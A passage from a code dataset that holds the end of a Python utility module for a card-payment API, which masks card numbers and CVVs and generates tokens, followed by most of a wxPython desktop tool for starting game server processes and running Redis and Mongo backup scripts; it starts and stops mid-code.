tps_response_codes.INFO_CD_ACQ_TRANSACTION_NUMBER, \"\")\n _update_acquiring_transaction_result(protobuf_response, acq_transaction_number)\n\n _add_response(protobuf_response, INFO_OPERATION_COMPLETED)\n _add_response(protobuf_response, response_codes.INFO_ACQUIRING_REFUND_SUCCESS)\n\ndef _update_acquiring_transaction_result(protobuf_response, acq_transaction_number):\n _add_result(protobuf_response, result_keys.RESULT_ACQ_TRANSACTION_NO, acq_transaction_number)\n\n cd_transaction = find_cd_transaction_by_acq_txn_no(acq_transaction_number)\n if cd_transaction:\n card_id = cd_transaction.cd_card_id\n card_holder = find_card_holder_by_card_id(card_id)\n masked_pan = string_utils.get_last_characters(card_holder.pan,4)\n\n _add_result(protobuf_response, result_keys.RESULT_ACQ_ORDER_INFO, cd_transaction.acq_order_info)\n _add_result(protobuf_response, result_keys.RESULT_ACQ_MERCH_TXN_REF, cd_transaction.acq_merchant_txn_ref)\n _add_result(protobuf_response, result_keys.RESULT_ACQ_MERCHANT_ID, cd_transaction.acq_merchant_id)\n _add_result(protobuf_response, result_keys.RESULT_ACQ_AMOUNT_IN_CENTS, string_utils.format_in_cents(cd_transaction.tps_transaction.amount))\n _add_result(protobuf_response, result_keys.RESULT_ACQ_CURRENCY, cd_transaction.tps_transaction.tps_currency.name)\n _add_result(protobuf_response, result_keys.RESULT_CARD_MASKED_PAN, masked_pan)\n\n if cd_transaction.acq_purchase_txn_number:\n _add_result(protobuf_response, result_keys.RESULT_ACQ_PURCHASE_TRANSACTION_NO, cd_transaction.acq_purchase_txn_number)\n\ndef _update_card_id_mapping_to_response(protobuf_response, tps_response):\n customer_card_id = get_message_from_response(tps_response, tps_response_codes.INFO_CD_CUSTOMER_CARD_ID, \"\")\n card_id = get_message_from_response(tps_response, tps_response_codes.INFO_CD_CARD_ID, \"\")\n\n required_return_card_id = (customer_card_id!='' or card_id!='')\n mapped_card_id = card_id\n if customer_card_id!=u'':\n mapped_card_id = customer_card_id\n\n if required_return_card_id:\n _add_response(protobuf_response, INFO_REF,\n \"%s - %s\" % (tps_response_codes.INFO_CD_CARD_ID, mapped_card_id))\n\n\ndef generate_token(client_code):\n salt = string_utils.random_string()\n time = get_now().isoformat()\n message = client_code + '\\0' + time + '\\0' + salt\n hashAlgorithm = hashlib.new('sha256')\n hashAlgorithm.update(message)\n return hashAlgorithm.hexdigest()\n\ndef _add_result(protobuf_response, key, value):\n result_add = protobuf_response.results.add()\n result_add.resultKey = key\n result_add.resultValue = value\n\n\ndef _set_status_code_success(protobuf_response):\n protobuf_response.statusCode = STATUS_SUCCESS\n\n\ndef _set_status_code_fail(protobuf_response):\n protobuf_response.statusCode = STATUS_FAIL\n\n\ndef _set_status_code_processing(protobuf_response):\n protobuf_response.statusCode = STATUS_PROCESSING\n\n\ndef _update_protobuf_response_header(protobuf_response):\n fill_cd_response_header_fields(protobuf_response)\n\n\ndef _update_protobuf_response_request_header(protobuf_response, protobuf_request=None):\n if protobuf_request:\n request_header = protobuf_response.requestHeader\n request_header.version = protobuf_request.header.version\n request_header.messageId = protobuf_request.header.messageId\n request_header.clientId = protobuf_request.header.clientId\n request_header.timestamp = protobuf_request.header.timestamp\n request_header.messageType = protobuf_request.header.messageType\n return protobuf_response\n\ndef is_image_file_ext(filename):\n file_ext = string_utils.get_file_ext(filename)\n if file_ext.lower() in settings.KYC_FILE_UPLOAD_IMAGE_ALLOWED_EXT:\n return True\n return False\n\ndef mask_pan(pan):\n return '%s%s' % (('*' * (len(pan) - 4)) , pan[-4:])\n\ndef mask_cvv(cvv):\n return '*' * len(cvv)\n\ndef mask_json_request_sensitive_info(json_request_dict):\n masked_json_request_dict = copy.deepcopy(json_request_dict)\n if 'acquiringPurchaseInfo' in masked_json_request_dict:\n purchase_info = masked_json_request_dict['acquiringPurchaseInfo']\n if 'pan' in purchase_info:\n purchase_info['pan'] = mask_pan(purchase_info['pan'])\n if 'cvv' in purchase_info:\n purchase_info['cvv'] = mask_cvv(purchase_info['cvv'])\n return masked_json_request_dict\n\ndef mask_protobuf_request_sensitive_info(protobuf_request):\n masked_protobuf_request = CardDirectorRequest()\n masked_protobuf_request.CopyFrom(protobuf_request)\n acq_purchase_info = masked_protobuf_request.acquiringPurchaseInfo\n if acq_purchase_info.HasField('pan'):\n acq_purchase_info.pan = mask_pan(acq_purchase_info.pan)\n if acq_purchase_info.HasField('cvv'):\n acq_purchase_info.cvv = mask_cvv(acq_purchase_info.cvv)\n return masked_protobuf_request\n\nclass Namespace: pass\n","sub_path":"apps/carddirector/cd_api/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":13964,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"81845967","text":"# !/usr/bin/env python\n# encoding: utf-8\n\n'''\n@author: senlian\n@license: (C) Copyright 2013-2017, Node Supply Chain Manager Corporation Limited.\n@file: ProcessManager.py\n@time: 2018/8/13 9:03\n@module:python -m pip install wxpython\n@desc:To start Game processes and Record the pid.\n'''\nimport wx, wx.adv, wx.grid, wx.ribbon\nimport wx.stc as STC\nimport wx.lib.agw.customtreectrl as CT\nimport os, sys, glob, re, time, gc, psutil\nimport json, csv, shutil\nimport threading, multiprocessing\nimport win32file\n# import signal\nimport chardet\n# from Queue import Queue\nfrom psutil import Process\nfrom common.B64data import *\nfrom common import frozen\nfrom common.SenLian_Process import *\nfrom common.Senlian_Win32 import Window\n\nreload(sys)\nsys.setdefaultencoding('utf-8')\nscriptPath = os.path.normpath(os.path.abspath(__file__))\nscriptDir = os.path.dirname(scriptPath)\n\nSystemWindow = Window()\n\nID_OpenDir = wx.NewId()\nID_RootFrame = wx.NewId()\nID_MenuBar = wx.NewId()\nID_ToolBar = wx.NewId()\nID_MidWindow = wx.NewId()\nID_StatusBar = wx.NewId()\nID_Switch = wx.NewId()\nID_Start = wx.NewId()\nID_Pause = wx.NewId()\nID_Close = wx.NewId()\nID_MONGO = wx.NewId()\nID_REDIS = wx.NewId()\nID_PREPARE = wx.NewId()\nID_AFTER = wx.NewId()\n\nTIME_SLEEP = 1\n\nPRE_PY_SCRIPT = os.path.abspath(\"./prepare.py\")\nREDIS_PY_SCRIPT = os.path.abspath(\"./redis_backup.py\")\nMONGO_PY_SCRIPT = os.path.abspath(\"./mongo_backup.py\")\nAFTER_PY_SCRIPT = os.path.abspath(\"./after.py\")\nLOG_FILE_PATH = os.path.abspath(\"./ProcessManager.log\")\n\nwildcard = u\"py files (*.py)|*.py|\" \\\n \"bat files (*.bat)|*.bat|\" \\\n \"All files (*.*)|*.*\"\n\n\ndef wait_time(seconds):\n time.sleep(int(seconds))\n\n\ndef get_code(item):\n return chardet.detect(item).get(\"encoding\", \"utf-8\")\n\n\ndef explorer_select_file(filepath):\n if os.path.isfile(filepath):\n os.popen('explorer.exe /select, \"{0}\"'.format(filepath))\n elif os.path.isdir(filepath):\n os.startfile(filepath, \"explore\")\n # os.popen('explorer.exe /n, \"{0}\"'.format(filepath))\n else:\n return\n\n # TODO: 主框架\n\n\ndef OpenDirDialog(defaultDir='', parent=None):\n if not parent:\n return False\n\n dlg = wx.DirDialog(parent, message=u\"打开路径\",\n defaultPath=defaultDir,\n style=wx.DD_DEFAULT_STYLE)\n targetDir = defaultDir\n if dlg.ShowModal() == wx.ID_OK:\n targetDir = dlg.GetPath()\n dlg.Destroy()\n return targetDir\n\n\ndef OpenFileDialog(defaultDir='', defaultFile='', parent=None):\n if not defaultDir:\n defaultDir = defaultFile\n if not parent:\n return False\n\n dlg = wx.FileDialog(parent, message=u\"另存为\",\n defaultDir=defaultDir,\n defaultFile=defaultFile,\n wildcard=wildcard,\n style=wx.FD_OPEN)\n targetFile = defaultFile\n if dlg.ShowModal() == wx.ID_OK:\n targetFile = dlg.GetPath()\n dlg.Destroy()\n return targetFile\n\n\nclass RootFrame(wx.Frame):\n def __init__(self, parent=None):\n super(RootFrame, self).__init__(parent=parent, id=ID_RootFrame)\n self.settings()\n wx.CallAfter(self.initUI)\n\n def settings(self):\n self.SetTitle(u'游戏进程管理器')\n self.SetSize((1080, 720))\n self.TaskBarIcon = None\n icon = PyEmbeddedImage(B64_POKER128).GetIcon()\n self.SetWindowStyle(wx.DEFAULT_FRAME_STYLE)\n self.SetIcon(icon)\n self.Center()\n self.JsonObj = json.loads(open('./startApp.json', 'r').read().replace('\\\\', '/'))\n\n def initUI(self):\n MenuBar(self)\n ToolBar(self)\n StatusBar(self)\n wx.CallAfter(MidWindow, self)\n self.GetMenuBar().Bind(wx.EVT_MENU, self.OnExit, id=wx.ID_EXIT)\n self.Bind(wx.EVT_CLOSE, self.OnExit, self)\n self.Bind(wx.EVT_ICONIZE, self.OnIconfiy)\n\n def infoBox(self, msg=\"页面加载中...\"):\n infoDialog = wx.MessageDialog(parent=self, message=msg, caption=\"提示\", style=wx.ICON_INFORMATION)\n return infoDialog.ShowModal()\n\n def warnBox(self, msg=\"确认要继续操作吗?\"):\n warnDialog = wx.MessageDialog(parent=self, message=msg, caption=\"警告\",\n style=wx.OK | wx.CANCEL | wx.ICON_EXCLAMATION)\n return warnDialog.ShowModal()\n\n def errorBox(self, msg=\"操作失败,请排查原因！\"):\n errorDialog = wx.MessageDialog(parent=self, message=msg, caption=\"错误\",\n style=wx.OK | wx.CANCEL | wx.ICON_ERROR)\n return errorDialog.ShowModal()\n\n def OnIconfiy(self, e):\n if not self.IsIconized():\n if not self.IsShown():\n self.Show()\n self.Raise()\n else:\n if self.IsShown():\n self.Hide()\n self.TaskBarIcon = TaskBarIcon(self)\n return e.Skip()\n\n def OnExit(self, e):\n self.SetStatusText('正在退出...', 1)\n try:\n self.SetStatusText('线程退出...', 2)\n self.FindWindowById(ID_MidWindow, self).PageOne.RightPanel.ReSetJob()\n self.SetStatusText('数据保存...', 2)\n self.FindWindowById(ID_MidWindow, self).PageOne.RightPanel.SaveToCsv()\n self.SetStatusText('日志保存...', 2)\n self.FindWindowById(ID_MidWindow, self).PageTwo.SaveToFile(e)\n except Exception as e:\n print(e)\n self.Destroy()\n if e:\n e.Skip()\n return gc.collect()\n\n\n# TODO: 菜单栏\nclass MenuBar(wx.MenuBar):\n def __init__(self, parent=None, id=ID_MenuBar):\n super(MenuBar, self).__init__()\n if parent:\n self.parent = parent\n self.setItems()\n self.parent.SetMenuBar(self)\n\n def setItems(self):\n FileMenu = wx.Menu()\n OptionMenu = wx.Menu()\n ViewMenu = wx.Menu()\n HelpMenu = wx.Menu()\n\n FileMenu.Append(ID_OpenDir, u\"打开目录(&O)\\tCtrl+O\", u\"打开目录\")\n FileMenu.Append(wx.ID_FILE, u\"设置(&S)...\\tCtrl+S\", u\"设置\")\n FileMenu.AppendSeparator()\n FileMenu.Append(wx.ID_EXIT, u\"退出(&Q)...\\tCtrl+Q\", u\"退出\")\n\n OptionMenu.Append(ID_PREPARE, u\"环境准备\", u\"执行环境准备脚本\", kind=wx.ITEM_CHECK).Check()\n OptionMenu.Append(ID_REDIS, u\"备份Redis\", u\"执行Redis备份脚本\", kind=wx.ITEM_CHECK).Check()\n OptionMenu.Append(ID_MONGO, u\"备份Mongo\", u\"执行Mongo备份脚本\", kind=wx.ITEM_CHECK).Check()\n OptionMenu.Append(ID_AFTER, u\"环境恢复\", u\"执行环境恢复脚本\", kind=wx.ITEM_CHECK).Check()\n\n self.Tools = ViewMenu.Append(ID_ToolBar, u'工具栏(&T)', u'工具栏', kind=wx.ITEM_CHECK)\n self.Tools.Check(True)\n self.Status = ViewMenu.Append(ID_StatusBar, u'状态栏(&S)', u'状态栏', kind=wx.ITEM_CHECK)\n self.Status.Check(True)\n\n HelpMenu.Append(wx.ID_HELP, u\"说明(&H)\", u\"工具帮助信息\")\n HelpMenu.Append(wx.ID_ABOUT, u\"关于(&A)\", u\"作者@senlian\")\n\n self.Append(FileMenu, u'文件(&F)')\n self.Append(OptionMenu, u'选项(&O)')\n self.Append(ViewMenu, u'查看(&H)')\n self.Append(HelpMenu, u'帮助(&H)')\n FileMenu.Bind(wx.EVT_MENU, self.OpenWorkDir, id=ID_OpenDir)\n FileMenu.Bind(wx.EVT_MENU, self.FileMenuEvt, id=wx.ID_FILE)\n ViewMenu.Bind(wx.EVT_MENU, self.ToggleToolBar, id=ID_ToolBar)\n ViewMenu.Bind(wx.EVT_MENU, self.ToggleStatusBar, id=ID_StatusBar)\n\n def OpenWorkDir(self, e):\n toolpath = os.path.splitext(scriptPath)[0] + '.exe'\n explorer_select_file(toolpath)\n e.Skip()\n\n def FileMenuEvt(self, e):\n setDialog = SetBasicDialog(self.parent, u'设置面板')\n if setDialog.ShowModal() == wx.ID_OK:\n setDialog.SetGlobal()\n e.Skip()\n\n def ToggleToolBar(self, e):\n ToolBar = self.parent.GetToolBar()\n if self.Tools.IsChecked():\n ToolBar.Show()\n else:\n ToolBar.Hide()\n ToolBar.Realize()\n if e:\n e.Skip()\n\n def ToggleStatusBar(self, e):\n BtmStatusBar = self.parent.GetStatusBar()\n if self.Status.IsChecked():\n StatusBar(self.parent)\n curPath = self.FindWindowById(ID_MidWindow, self.parent).PageOne.LeftPanel.GetPath()\n self.parent.SetStatusText(curPath, 0)\n else:\n BtmStatusBar.Destroy()\n if e:\n e.Skip()\n\n\n# TODO: 工具栏\nclass ToolBar(wx.ToolBar):\n def __init__(self, parent=None, id=ID_ToolBar):\n super(ToolBar, self).__init__(parent=parent, id=id, style=wx.TB_NODIVIDER | wx.TB_FLAT, name=u'工具栏')\n self.root = parent\n if self.root:\n self.setItems()\n self.Realize()\n self.root.SetToolBar(self)\n # self.Bind(wx.EVT_TOOL, self.ToggleBitmap)\n\n def setItems(self):\n self.AddTool(ID_Start, 'start', GetBitmap(B64_START24), u'开服').SetClientData(True)\n self.AddTool(ID_Pause, 'pause', GetBitmap(B64_PAUSE24), u'暂停').SetClientData(True)\n self.AddTool(ID_Close, 'close', GetBitmap(B64_CLOSE24), u'关服').SetClientData(True)\n self.AddTool(wx.ID_REFRESH, 'refresh', GetBitmap(B64_REFRESH24), u'刷新').SetClientData(True)\n self.AddStretchableSpace()\n self.AddTool(ID_REDIS, 'redis', GetBitmap(B64_REDIS24), u'Redis').SetClientData(True)\n self.AddTool(ID_MONGO, 'mongo', GetBitmap(B64_MONGO24), u'Mongo').SetClientData(True)\n # self.FindById(ID_REDIS).GetPosition()\n # self.InsertSeparator(pos=4)\n self.EnableTool(ID_Start, False)\n self.EnableTool(ID_Pause, False)\n self.EnableTool(ID_Close, False)\n\n def ToggleBitmap(self, curId):\n # curId = e.GetId()\n curItem = self.FindById(curId)\n\n preHelp = curItem.GetShortHelp()\n preData = curItem.GetClientData()\n # print('preData=', preData)\n self.root.SetStatusText(preHelp, 2)\n\n if curId != ID_Pause:\n if curId == ID_Start:\n self.EnableTool(ID_Close, not preData)\n if curId == ID_Close:\n self.EnableTool(ID_Start, not preData)\n if not preData:\n self.SetPauseToolStyle(preData)\n self.EnableTool(ID_Pause, preData)\n self.SetStartToolStyle(preData)\n self.SetCloseToolStyle(preData)\n else:\n self.SetPauseToolStyle(preData)\n\n self.Realize()\n\n def SetStartToolStyle(self, flag=True):\n if not self.GetToolEnabled(ID_Start):\n return\n bitmap = B64_STOP24 if flag else B64_START24\n help = u\"停止\" if flag else u\"开服\"\n\n self.SetToolNormalBitmap(ID_Start, GetBitmap(bitmap))\n self.SetToolShortHelp(ID_Start, help)\n self.SetToolClientData(ID_Start, not flag)\n\n def SetPauseToolStyle(self, flag=True):\n if not self.GetToolEnabled(ID_Pause):\n return\n bitmap = B64_GOON24 if flag else B64_PAUSE24\n help = u\"继续\" if flag else u\"暂停\"\n\n self.SetToolNormalBitmap(ID_Pause, GetBitmap(bitmap))\n self.SetToolShortHelp(ID_Pause, help)\n self.SetToolClientData(ID_Pause, not flag)\n\n def SetCloseToolStyle(self, flag=True):\n if not self.GetToolEnabled(ID_Close):\n return\n bitmap = B64_STOP24 if flag else B64_CLOSE24\n help = u\"停止\" if flag else u\"关服\"\n\n self.SetToolNormalBitmap(ID_Close, GetBitmap(bitmap))\n self.SetToolShortHelp(ID_Close, help)\n self.SetToolClientData(ID_Close, not flag)\n\n\n# TODO: 状态栏\nclass StatusBar(wx.StatusBar):\n def __init__(self, parent=None, id=ID_StatusBar):\n super(StatusBar, self).__init__(parent=parent, id=id, style=65840, name=u'状态栏')\n self.SetFieldsCount(3)\n self.SetStatusWidths([-2, -2, -1])\n self.Show()\n if parent:\n parent.SetStatusBar(self)\n\n\n# TODO: 设置面板\nclass SetBasicDialog(wx.Dialog):\n def __init__(self, parent, title):\n super(SetBasicDialog, self).__init__(parent, title=title, size=(480, 260))\n self.root = parent\n self.initUI()\n self.GetTemplate()\n\n def initUI(self):\n vBox = wx.BoxSizer(wx.VERTICAL)\n gridBox = wx.FlexGridSizer(5, 3, 18, 5)\n\n PrePyLabel = wx.StaticText(self, label=u'环境准备脚本', size=(120, 20))\n self.PrePyText = wx.TextCtrl(self, size=(240, 20), value=PRE_PY_SCRIPT)\n PrePyBTN = wx.Button(self, wx.ID_ANY, label=\"...\", size=(25, 20))\n\n RedisPathLabel = wx.StaticText(self, label=u'Redis备份脚本', size=(120, 20))\n self.RedisPathText = wx.TextCtrl(self, size=(240, 20), value=REDIS_PY_SCRIPT)\n RedisPathBTN = wx.Button(self, wx.ID_ANY, label=\"...\", size=(25, 20))\n\n MongoPathLabel = wx.StaticText(self, label=u'Mongo备份脚本', size=(120, 20))\n self.MongoPathText = wx.TextCtrl(self, size=(240, 20), value=MONGO_PY_SCRIPT)\n MongoPathBTN = wx.Button(self, wx.ID_ANY, label=\"...\", size=(25, 20))\n\n AfterPyLabel = wx.StaticText(self, label=u'环境恢复脚本', size=(120, 20))\n self.AfterPyText = wx.TextCtrl(self, size=(240, 20), value=AFTER_PY_SCRIPT)\n AfterPyBTN = wx.Button(self, wx.ID_ANY, label=\"...\", size=(25, 20))\n\n TimeSleepLabel = wx.StaticText(self, label=u'停顿时间', size=(120, 20))\n self.TimeSleepText = wx.TextCtrl(self, size=(240, 20), value=str(TIME_SLEEP))\n TimeSleepUnit = wx.StaticText(self, label=u'秒', size=(120, 20))\n\n gridBox.Add(PrePyLabel)\n gridBox.Add(self.PrePyText, 1, wx.EXPAND)\n gridBox.Add(PrePyBTN)\n\n gridBox.Add(RedisPathLabel)\n gridBox.Add(self.RedisPathText, 1, wx.EXPAND)\n gridBox.Add(RedisPathBTN)\n\n gridBox.Add(MongoPathLabel)\n gridBox.Add(self.MongoPathText, 1, wx.EXPAND)\n gridBox.Add(MongoPathBTN)\n\n gridBox.Add(AfterPyLabel)\n gridBox.Add(self.AfterPyText, 1, wx.EXPAND)\n gridBox.Add(AfterPyBTN)\n\n gridBox.Add(TimeSleepLabel)\n gridBox.Add(self.TimeSleepText, 1, wx.EXPAND)\n gridBox.Add(TimeSleepUnit)\n\n wx.Button(self, wx.ID_OK, label=u\"确认\", size=(50, 20), pos=(180, 200))\n wx.Button(self, wx.ID_CANCEL, label=u\"取消\", size=(50, 20), pos=(260, 200))\n\n vBox.Add(gridBox, proportion=2, flag=wx.ALL | wx.EXPAND, border=15)\n self.SetSizer(vBox)\n\n self.Bind(wx.EVT_BUTTON, self.SetRrePyPath, PrePyBTN)\n self.Bind(wx.EVT_BUTTON, self.SetRedisPath, RedisPathBTN)\n self.Bind(wx.EVT_BUTTON, self.SetMongoPath, MongoPathBTN)\n self.Bind(wx.EVT_BUTTON, self.SetAfterPyPath, AfterPyBTN)\n\n def GetTemplate(self):\n self.prepareScript = self.PrePyText.GetValue()\n self.redisScript = self.RedisPathText.GetValue()\n self.mongoScript = self.MongoPathText.GetValue()\n self.afterScript = self.AfterPyText.GetValue()\n self.timeSleep = self.TimeSleepText.GetValue()\n\n def SetRrePyPath(self, e):\n newpath = OpenFileDialog(PRE_PY_SCRIPT, PRE_PY_SCRIPT, self)\n self.PrePyText.SetValue(newpath)\n self.GetTemplate()\n if e:\n e.Skip()\n\n def SetRedisPath(self, e):\n newpath = OpenFileDialog(REDIS_PY_SCRIPT, REDIS_PY_SCRIPT, self)\n self.RedisPathText.SetValue(newpath)\n self.GetTemplate()\n if e:\n e.Skip()\n\n def SetMongoPath(self, e):\n newpath = OpenFileDialog(MONGO_PY_SCRIPT, MONGO_PY_SCRIPT, self)\n self.MongoPathText.SetValue(newpath)\n self.GetTemplate()\n if e:\n e.Skip()\n\n def SetAfterPyPath(self, e):\n newpath = OpenFileDialog(AFTER_PY_SCRIPT, AFTER_PY_SCRIPT, self)\n self.AfterPyText.SetValue(newpath)\n self.GetTemplate()\n if e:\n e.Skip()\n\n def SetGlobal(self):\n global PRE_PY_SCRIPT, REDIS_PY_SCRIPT, MONGO_PY_SCRIPT, AFTER_PY_SCRIPT, TIME_SLEEP\n PRE_PY_SCRIPT = self.prepareScript\n REDIS_PY_SCRIPT = self.redisScript\n MONGO_PY_SCRIPT = self.mongoScript\n AFTER_PY_SCRIPT = self.afterScript\n TIME_SLEEP = int(self.TimeSleepText.GetValue())\n\n\n# TODO: 主界面\nclass MidWindow(wx.Notebook):\n def __init__(self, parent=None, id=ID_MidWindow):\n super(MidWindow, self).__init__(parent=parent, id=id, name='Main',\n style=wx.NB_TOP | wx.NB_FIXEDWIDTH | wx.NB_FLAT, size=parent.GetSize())\n self.root = parent\n self.JsonObj = self.root.JsonObj\n # self.taskList = Queue()\n self.NowJob = None\n\n self.PageOne = MainPage(self)\n self.PageTwo = SecondSheet(self)\n\n self.AddPage(self.PageOne, u'主页')\n self.AddPage(self.PageTwo, u'操作日志')\n\n self.PageOneLeft = self.PageOne.LeftPanel\n self.PageOneRight = self.PageOne.RightPanel\n\n self.ToolBar = self.root.GetToolBar()\n self.ToolBar.Bind(wx.EVT_TOOL, self.BindToolEvt)\n self.ToolBar.Bind(wx.EVT_TOOL, self.SaveRedis, id=ID_REDIS)\n self.ToolBar.Bind(wx.EVT_TOOL, self.SaveMongo, id=ID_MONGO)\n self.Bind(wx.EVT_NOTEBOOK_PAGE_CHANGED, self.PageChangeEvt)\n\n def BindToolEvt(self, e):\n BindId = e.GetId()\n # 获取暂停键之前的状态信息\n pauseTool = self.ToolBar.FindById(ID_Pause)\n prePauseBitmap = pauseTool.GetNormalBitmap()\n prePauseShortHelp = pauseTool.GetShortHelp()\n prePauseClientData = pauseTool.GetClientData()\n if BindId in [ID_Start, ID_Close, ID_Pause]:\n self.ToolBar.ToggleBitmap(BindId)\n\n if BindId == ID_Pause:\n if self.NowJob:\n if self.NowJob.isPaused():\n self.NowJob.pause()\n else:\n self.NowJob.restart()\n\n if BindId in [ID_Start, ID_Close]:\n ProcessList = self.GetProcessList()\n preFlag = False if not self.NowJob else self.NowJob.isPaused()\n\n # 任务暂停\n if self.NowJob:\n self.NowJob.pause()\n\n # 取消操作\n if self.root.warnBox() == wx.ID_CANCEL:\n if self.NowJob and preFlag:\n self.NowJob.restart()\n\n self.ToolBar.ToggleBitmap(BindId)\n pauseTool.SetNormalBitmap(prePauseBitmap)\n pauseTool.SetShortHelp(prePauseShortHelp)\n pauseTool.SetClientData(prePauseClientData)\n self.ToolBar.Realize()\n return e.Skip()\n\n if BindId is not ID_Pause:\n if self.NowJob and self.NowJob.isAlive():\n self.NowJob.stop()\n self.NowJob = None\n gc.collect()\n else:\n del self.NowJob\n gc.collect()\n self.PageTwo.AppendInfo(\"选择列表：\\n{0}\".format(\",\".join(ProcessList)))\n self.NowJob = ThreadTask(ProcessList=ProcessList, parent=self, BindId=BindId)\n self.NowJob.start()\n e.Skip()\n\n def PageChangeEvt(self, e):\n wx.CallAfter(self.SetToolBar)\n if e:\n e.Skip()\n\n def SetToolBar(self):\n if (self.GetCurrentPage() == self.PageTwo):\n self.ToolBar.InsertSeparator(4)\n # saveTool = self.ToolBar.CreateTool(wx.ID_SAVE, 'save', GetBitmap(B64_SAVE24), shortHelp=u'保存日志').SetClientData(True)\n # InsertTool(pos, toolId, label, bitmap, bmpDisabled=NullBitmap, kind=ITEM_NORMAL, shortHelp=EmptyString, longHelp=EmptyString, clientData=None) -> ToolBarToolBase\n self.ToolBar.InsertTool(pos=5, toolId=wx.ID_SAVE, label='save', bitmap=GetBitmap(B64_SAVE24),\n shortHelp=u'保存日志', clientData=True)\n self.ToolBar.InsertTool(pos=6, toolId=wx.ID_CLEAR, label='refresh', bitmap=GetBitmap(B64_CLEAR24),\n shortHelp=u'清空日志', clientData=True)\n self.ToolBar.InsertSeparator(7)\n # self.ToolBar.AddTool(wx.ID_CLEAR, 'refresh', GetBitmap(B64_CLEAR24), u'清空日志').SetClientData(True)\n else:\n self.ToolBar.DeleteToolByPos(7)\n self.ToolBar.DeleteToolByPos(4)\n self.ToolBar.RemoveTool(wx.ID_SEPARATOR)\n self.ToolBar.RemoveTool(wx.ID_SAVE)\n self.ToolBar.RemoveTool(wx.ID_CLEAR)\n self.ToolBar.Realize()\n\n def GetProcessList(self):\n return self.PageOneLeft.GetCheckedItems([], self.PageOneLeft.GetSelection())\n\n def GetParameters(self, exe):\n for key in self.JsonObj.keys():\n curJson = self.JsonObj.get(key, {})\n if curJson.has_key(exe):\n return curJson.get(exe, {}).get(\"parameters\", None)\n return []\n\n def SaveRedis(self, e=None):\n if os.path.isfile(REDIS_PY_SCRIPT) and os.path.splitext(REDIS_PY_SCRIPT)[1].lower() == '.py':\n self.root.SetStatusText(REDIS_PY_SCRIPT, 0)\n self.root.SetStatusText(\"正在执行外部脚本...\", 1)\n self.PageTwo.AppendWarn('正在执行外部脚本,{0}'.format(REDIS_PY_SCRIPT))\n os.popen(\"python \" + REDIS_PY_SCRIPT)\n self.root.SetStatusText(\"脚本调用结束\", 1)\n self.PageTwo.AppendInfo('脚本调用结束')\n else:\n self.root.SetStatusText(\"外部redis脚本不存在\", 1)\n self.PageTwo.AppendError('外部准备脚本不存在,{0}'.format(REDIS_PY_SCRIPT))\n if e:\n e.Skip()\n\n def SaveMongo(self, e=None):\n if os.path.isfile(MONGO_PY_SCRIPT) and os.path.splitext(MONGO_PY_SCRIPT)[1].lower() == '.py':\n self.root.SetStatusText(MONGO_PY_SCRIPT, 0)\n self.root.SetStatusText(\"正在执行外部脚本...\", 1)\n self.PageTwo.AppendWarn('正在执行外部脚本,{0}'.format(MONGO_PY_SCRIPT))\n os.popen(\"python \" + MONGO_PY_SCRIPT)\n self.root.SetStatusText(\"脚本调用结束\", 1)\n self.PageTwo.AppendInfo('脚本调用结束')\n else:\n self.root.SetStatusText(\"外部mongo脚本不存在\", 1)\n self.PageTwo.AppendError('外部准备脚本不存在,{0}'.format(MONGO_PY_SCRIPT))\n if e:\n e.Skip()\n\n\n# TODO: 主页\nclass MainPage(wx.SplitterWindow):\n def __init__(self, parent=None):\n super(MainPage, self).__init__(parent=parent, style=wx.SP_NOBORDER, size=parent.GetSize())\n self.parent = parent\n self.root = self.parent.root\n\n self.initUI()\n\n def initUI(self):\n self.RightPanel = PidGrid(self)\n self.LeftPanel = GenerateDirTree(self)\n self.SetMinimumPaneSize(200)\n self.SplitVertically(self.LeftPanel, self.RightPanel, 100)\n\n\n# TODO: 操作日志\nclass SecondSheet(STC.StyledTextCtrl):\n def __init__(self, parent=None):\n self.parent = parent\n self.root = self.parent.root\n self.TextStyle = STC.STC_STYLE_DEFAULT\n\n super(SecondSheet, self).__init__(parent=self.parent, id=-1, style=self.TextStyle)\n\n self.SetMarginWidth(2, 16)\n self.SetMarginType(1, STC.STC_MARGIN_NUMBER)\n\n self.root.GetToolBar().Bind(wx.EVT_TOOL, self.ClearText, id=wx.ID_CLEAR)\n self.root.GetToolBar().Bind(wx.EVT_TOOL, self.SaveToFile, id=wx.ID_SAVE)\n\n def SaveToFile(self, e):\n if not os.path.isdir(os.path.dirname(LOG_FILE_PATH)):\n os.makedirs(os.path.dirname(LOG_FILE_PATH))\n wx.CallAfter(self.SaveFile, filename=LOG_FILE_PATH)\n if e:\n e.Skip()\n\n def ClearText(self, e):\n wx.CallAfter(self.ClearAll)\n if e:\n e.Skip()\n\n def AppendInfo(self, text):\n text = str(time.strftime(\"[%y-%m-%d %H:%M:%S INFO] {0}\\r\\n\".format(text)))\n wx.CallAfter(self.AppendText, text=text)\n self.ScrollLines(1)\n\n def AppendWarn(self, text):\n text = str(time.strftime(\"[%y-%m-%d %H:%M:%S WARN] {0}\\r\\n\".format(text)))\n wx.CallAfter(self.AppendText, text=text)\n self.ScrollLines(1)\n\n def AppendError(self, text):\n text = str(time.strftime(\"[%y-%m-%d %H:%M:%S ERROR] {0}\\r\\n\".format(text)))\n wx.CallAfter(self.AppendText, text=text)\n self.ScrollLines(1)\n\n\n# TODO: 生成主页更新项树形结构\nclass GenerateDirTree(CT.CustomTreeCtrl):\n def __init__(self, parent=None):\n self.parent = parent\n self.root = self.parent.root\n self.RightPanel = self.parent.RightPanel\n self.JsonObj = self.root.JsonObj\n\n agwStyle = CT.TR_DEFAULT_STYLE + CT.TR_AUTO_CHECK_CHILD + CT.TR_AUTO_CHECK_PARENT + CT.TR_HIDE_ROOT\n super(GenerateDirTree, self).__init__(parent=self.parent, agwStyle=agwStyle)\n\n self.SetBackgroundColour(wx.WHITE)\n self.addImageList()\n\n self.itemKeys = sorted(self.JsonObj.keys(), key=lambda key: self.JsonObj[key]['settings']['priority'])\n self.JsonExe = self.SortCheckedItem()\n wx.CallLater(3000, self.CreateTreeCtrl)\n\n self.Bind(CT.EVT_TREE_ITEM_CHECKED, self.BindChecked)\n self.Bind(CT.EVT_TREE_SEL_CHANGED, self.BindChecked)\n self.Bind(CT.EVT_TREE_ITEM_RIGHT_CLICK, self.RightClickEvt)\n # self.Bind(CT.EVT_TREE_BEGIN_DRAG, self.OnDrag, id=self.GetId())\n # self.Bind(CT.EVT_TREE_ITEM_COLLAPSED, 